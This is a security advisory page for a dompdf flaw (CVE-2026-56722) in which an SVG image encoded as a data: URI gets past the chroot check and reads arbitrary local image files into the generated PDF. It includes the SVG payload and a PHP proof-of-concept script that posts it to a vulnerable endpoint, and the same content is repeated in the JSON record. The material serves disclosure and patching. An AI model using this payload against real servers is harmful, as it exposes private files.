GHSA-CX96-42PX-69FM

Vulnerability from github – Published: 2026-07-22 21:30 – Updated: 2026-07-22 21:30
VLAI
Summary
Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI
Details

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)

Research

dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):

Listing 1. chroot settings

$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]

When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link

<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">

How the protection is bypassed:

An attacker wraps the link to the target file in SVG format and delivers it via data: URI:

Listing 3. Wrapping link in SVG

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">

Inside the base64 payload is an SVG containing the <image> element that points to the target file:

Listing 4. Pointing to the target file

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
     width="589" height="415">
  <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>

Why the bypass works:

The issue is that dompdf handles the SVG twice: first through its own validator and then via  php-svg-lib — and the second pass does not apply the protection that the first pass does.

Step 1. The data:// protocol has no validation rules (Options.php:546-547):

Listing 5. Lack of rules

case "data://":
    break;  // no rules

SVG content passes without any checks.

Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):

Listing 6. Passing the SVG

$doc = new \Svg\Document();
$doc->allowExternalReferences = true;  // forced
$doc->loadFile($file);

php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.

Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):

Listing 7. phar:// blocking

if ($scheme === "phar"
    || ($this->document->allowExternalReferences === false && $scheme !== "data")) {
    return;
}
$this->document->getSurface()->drawImage($this->href, ...);

Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):

Listing 8. file_get_contents() call

$data = file_get_contents($image);  // reads ANY path

There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation:

Listing 9. An example of a vulnerable code (html2pdf.php)

require_once __DIR__ . '/vendor/autoload.php';

$dompdf = new Dompdf\Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream('poc.pdf', ['Attachment' => false]);

Listing 10. An example attack on the vulnerable code

$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';

$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
     . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
     . '</svg>';

$html = '<html><body>'
      . '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
      . '</body></html>';

$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

Figure 1. The image was read successfully image

Credits

Nikita Sveshnikov (Positive Technologies)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:30:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server\u2019s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this-\u003esetChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `\u0441hroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n\u003c!-- BLOCKED: /tmp/ is outside chroot --\u003e\n\u003cimg src=\"file:///tmp/secret.png\"\u003e\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:`\u202fURI:\n\n_Listing 3. Wrapping link in SVG_\n```\n\u003cimg src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\"\u003e\n```\nInside the base64 payload is an SVG containing the `\u003cimage\u003e` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\"\u003e\n  \u003cimage xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\n\u003c/svg\u003e\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via\u202f `php-svg-lib` \u2014 and the second pass does not apply the protection that the first pass does.\n\n**Step\u202f1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step\u202f2.** dompdf pre\u2011parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step\u202f3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc-\u003eallowExternalReferences = true;  // forced\n$doc-\u003eloadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `\u003cimage\u003e` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 $scheme !== \"data\")) {\n    return;\n}\n$this-\u003edocument-\u003egetSurface()-\u003edrawImage($this-\u003ehref, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf-\u003eloadHtml($_POST[\u0027html\u0027]);\n$dompdf-\u003erender();\n$dompdf-\u003estream(\u0027poc.pdf\u0027, [\u0027Attachment\u0027 =\u003e false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET[\u0027file\u0027] ?? \u0027/tmp/user_files/user_1/private_image.png\u0027;\n\n$svg = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\"\u003e\u0027\n     . \u0027\u003cimage xlink:href=\"\u0027 . htmlspecialchars($file, ENT_QUOTES) . \u0027\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\u0027\n     . \u0027\u003c/svg\u003e\u0027;\n\n$html = \u0027\u003chtml\u003e\u003cbody\u003e\u0027\n      . \u0027\u003cimg src=\"data:image/svg+xml;base64,\u0027 . base64_encode($svg) . \u0027\"\u003e\u0027\n      . \u0027\u003c/body\u003e\u003c/html\u003e\u0027;\n\n$url = \u0027http://example.com/html2pdf.php\u0027;\n$data = [\u0027html\u0027 =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key \u0027http\u0027 even if you send the request to https://...\n$options = [\n    \u0027http\u0027 =\u003e [\n        \u0027header\u0027 =\u003e $headers,\n        \u0027method\u0027 =\u003e \u0027POST\u0027,\n        \u0027content\u0027 =\u003e http_build_query($data),\n        \u0027ignore_errors\u0027 =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n\u003cimg width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" /\u003e\n\n## Credits\nNikita Sveshnikov (Positive Technologies)",
  "id": "GHSA-cx96-42px-69fm",
  "modified": "2026-07-22T21:30:01Z",
  "published": "2026-07-22T21:30:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…